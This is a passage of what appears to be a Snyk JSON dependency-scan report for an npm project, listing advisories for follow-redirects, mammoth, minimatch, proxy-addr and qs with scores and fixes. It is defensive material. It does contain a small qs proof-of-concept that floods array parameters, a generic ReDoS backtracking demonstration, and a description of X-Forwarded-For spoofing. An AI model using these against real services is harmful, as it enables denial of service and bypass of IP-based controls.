"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:28.334518Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-24T02:21:59.048624Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-31T05:27:32.275260Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.\n## Remediation\nUpgrade `follow-redirects` to version 1.16.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653)\n- [GitHub Commit](https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9)\n",
"epssDetails": {
"percentile": "0.55384",
"probability": "0.00820",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-40895"
],
"CWE": [
"CWE-212"
],
"GHSA": [
"GHSA-r4q5-vmmm-2653"
]
},
"packageName": "follow-redirects",
"proprietary": false,
"creationTime": "2026-04-14T09:16:01.424796Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-14T01:11:11Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-14T09:16:01.644120Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:28.334518Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2",
"follow-redirects@1.15.11"
],
"upgradePath": [
false,
"axios@1.12.2",
"follow-redirects@1.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "follow-redirects",
"version": "1.15.11"
},
{
"id": "SNYK-JS-MAMMOTH-20510281",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.12.3"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.12.3"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "mammoth",
"references": [
{
"url": "https://github.com/mwilliamson/mammoth.js",
"title": "github.com"
},
{
"url": "https://github.com/mwilliamson/mammoth.js/commit/dc49225425c2c07de0a6dc3529f2386c82a032b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/mwilliamson/mammoth.js/issues/487",
"title": "GitHub Issue"
},
{
"url": "https://github.com/mwilliamson/mammoth.js/blob/1.12.2/lib/styles/parser/tokeniser.js%23L6-L30",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-05T01:30:41.162271Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-05T14:04:12.420171Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-05T14:04:12.420171Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-05T01:30:41.162271Z"
}
],
"description": "## Overview\n[mammoth](https://www.npmjs.org/package/mammoth) is a Convert Word documents from docx to simple HTML and Markdown\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the style map tokeniser in `lib/styles/parser/tokeniser.js` due to overlapping regex alternatives. Attackers can supply a crafted .docx with an unterminated quoted string of repeated backslash escapes in mammoth/style-map to block the Node.js event loop.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `mammoth` to version 1.12.3 or higher.\n## References\n- [github.com](https://github.com/mwilliamson/mammoth.js)\n- [GitHub Commit](https://github.com/mwilliamson/mammoth.js/commit/dc49225425c2c07de0a6dc3529f2386c82a032b4)\n- [GitHub Issue](https://github.com/mwilliamson/mammoth.js/issues/487)\n- [Vulnerable Code](https://github.com/mwilliamson/mammoth.js/blob/1.12.2/lib/styles/parser/tokeniser.js#L6-L30)\n",
"epssDetails": {
"percentile": "0.27252",
"probability": "0.00358",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-105219"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "mammoth",
"proprietary": false,
"creationTime": "2026-10-05T09:34:02.878744Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-04T18:25:54.366000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-05T09:34:03.045031Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-05T14:04:12.420171Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0"
],
"upgradePath": [
false,
"mammoth@1.12.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "mammoth",
"version": "1.10.0"
},
{
"id": "SNYK-JS-MINIMATCH-15309438",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Akshay Jain"
],
"semver": {
"vulnerable": [
"<3.1.3",
">=4.0.0 <4.2.4",
">=5.0.0 <5.1.7",
">=6.0.0 <6.2.1",
">=7.0.0 <7.4.7",
">=8.0.0 <8.0.5",
">=9.0.0 <9.0.6",
">=10.0.0 <10.2.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.1.3",
"4.2.4",
"5.1.7",
"6.2.1",
"7.4.7",
"8.0.5",
"9.0.6",
"10.2.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "minimatch",
"references": [
{
"url": "https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/isaacs/minimatch/commit/50126552835505d2c73ba13e8bdaafd737469a2f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/isaacs/minimatch/commit/5173367083a01c3892b29df8366ee6de44e76ef6",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-02-21T01:18:48.435503Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-03T05:30:28.443711Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-12T23:09:33.013968Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-18T14:04:05.159310Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-18T14:04:05.159310Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-02-21T01:18:48.435503Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-03T05:30:28.443711Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-12T23:09:33.013968Z"
}
],
"description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the `AST` class, caused by catastrophic backtracking when an input string contains many `*` characters in a row, followed by an unmatched character.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5)\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/50126552835505d2c73ba13e8bdaafd737469a2f)\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/5173367083a01c3892b29df8366ee6de44e76ef6)\n",
"epssDetails": {
"percentile": "0.47561",
"probability": "0.00598",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-26996"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-3ppc-4f35-3m26"
]
},
"packageName": "minimatch",
"proprietary": false,
"creationTime": "2026-02-19T07:08:04.335869Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-02-18T22:38:11Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-02-19T07:08:04.628834Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-18T14:04:05.159310Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "minimatch",
"version": "5.1.6"
},
{
"id": "SNYK-JS-MINIMATCH-15353389",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"dolevmiz1"
],
"semver": {
"vulnerable": [
"<3.1.3",
">=4.0.0 <4.2.5",
">=5.0.0 <5.1.8",
">=6.0.0 <6.2.2",
">=7.0.0 <7.4.8",
">=8.0.0 <8.0.6",
">=9.0.0 <9.0.7",
">=10.0.0 <10.2.3"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.1.3",
"4.2.5",
"5.1.8",
"6.2.2",
"7.4.8",
"8.0.6",
"9.0.7",
"10.2.3"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "minimatch",
"references": [
{
"url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-02-27T07:22:25.114296Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:42.723499Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:42.723499Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-02-27T07:22:25.114296Z"
}
],
"description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n",
"epssDetails": {
"percentile": "0.47957",
"probability": "0.00608",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-27903"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-7r86-cg39-jmmj"
]
},
"packageName": "minimatch",
"proprietary": false,
"creationTime": "2026-02-26T08:12:16.643876Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-02-26T03:13:19Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-02-26T08:12:16.955036Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:42.723499Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "minimatch",
"version": "5.1.6"
},
{
"id": "SNYK-JS-PROXYADDR-19812342",
"title": "User Impersonation",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"kagebunsher"
],
"semver": {
"vulnerable": [
">=1.1.0 <2.0.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "proxy-addr",
"references": [
{
"url": "https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as `::ffff:10.0.0.0/8` compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, by sending an arbitrary `X-Forwarded-For` header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as `::/1`, and the misconfiguration compiles without error.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as `10.0.0.0/8`, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as `::ffff:10.0.0.0/104`.\n## Remediation\nUpgrade `proxy-addr` to version 2.0.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h)\n- [GitHub Commit](https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965)\n",
"epssDetails": {
"percentile": "0.23628",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-90711"
],
"CWE": [
"CWE-290"
],
"GHSA": [
"GHSA-jqcg-44mw-7w3h"
]
},
"packageName": "proxy-addr",
"proprietary": false,
"creationTime": "2026-09-15T08:22:56.328403Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T07:14:51Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-15T08:22:56.519310Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T05:38:39.278167Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"proxy-addr@2.0.7"
],
"upgradePath": [
false,
"express@4.21.2",
"proxy-addr@2.0.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "proxy-addr",
"version": "2.0.7"
},
{
"id": "SNYK-JS-QS-14724253",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Samip Mainali"
],
"semver": {
"vulnerable": [
"<6.14.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.14.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-01-01T09:28:08.542339Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:10:18.462410Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:10:18.462410Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-01-01T09:28:08.542339Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the `arrayLimit` option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like `a[]=1&a[]=2` - in a single HTTP request.\n## PoC\n```js\r\n\r\nconst qs = require('qs');\r\nconst attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');\r\nconst result = qs.parse(attack, { arrayLimit: 100 });\r\nconsole.log(result.a.length); // Output: 10000 (should be max 100)\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9)\n",
"epssDetails": {
"percentile": "0.36350",
"probability": "0.00450",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2025-15284"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-6rw7-vpxm-498p"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2025-12-30T09:09:30.571348Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2025-12-30T00:01:56Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2025-12-30T09:31:30.575510Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:10:18.462410Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"express@4.21.2",
"qs@6.13.0"
],
"upgradePath": [
false,
"express@4.22.0",
"qs@6.14.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.13.0"
},
{
"id": "SNYK-JS-QS-15268416",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"SharokhAtaie"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.14.2"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.14.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
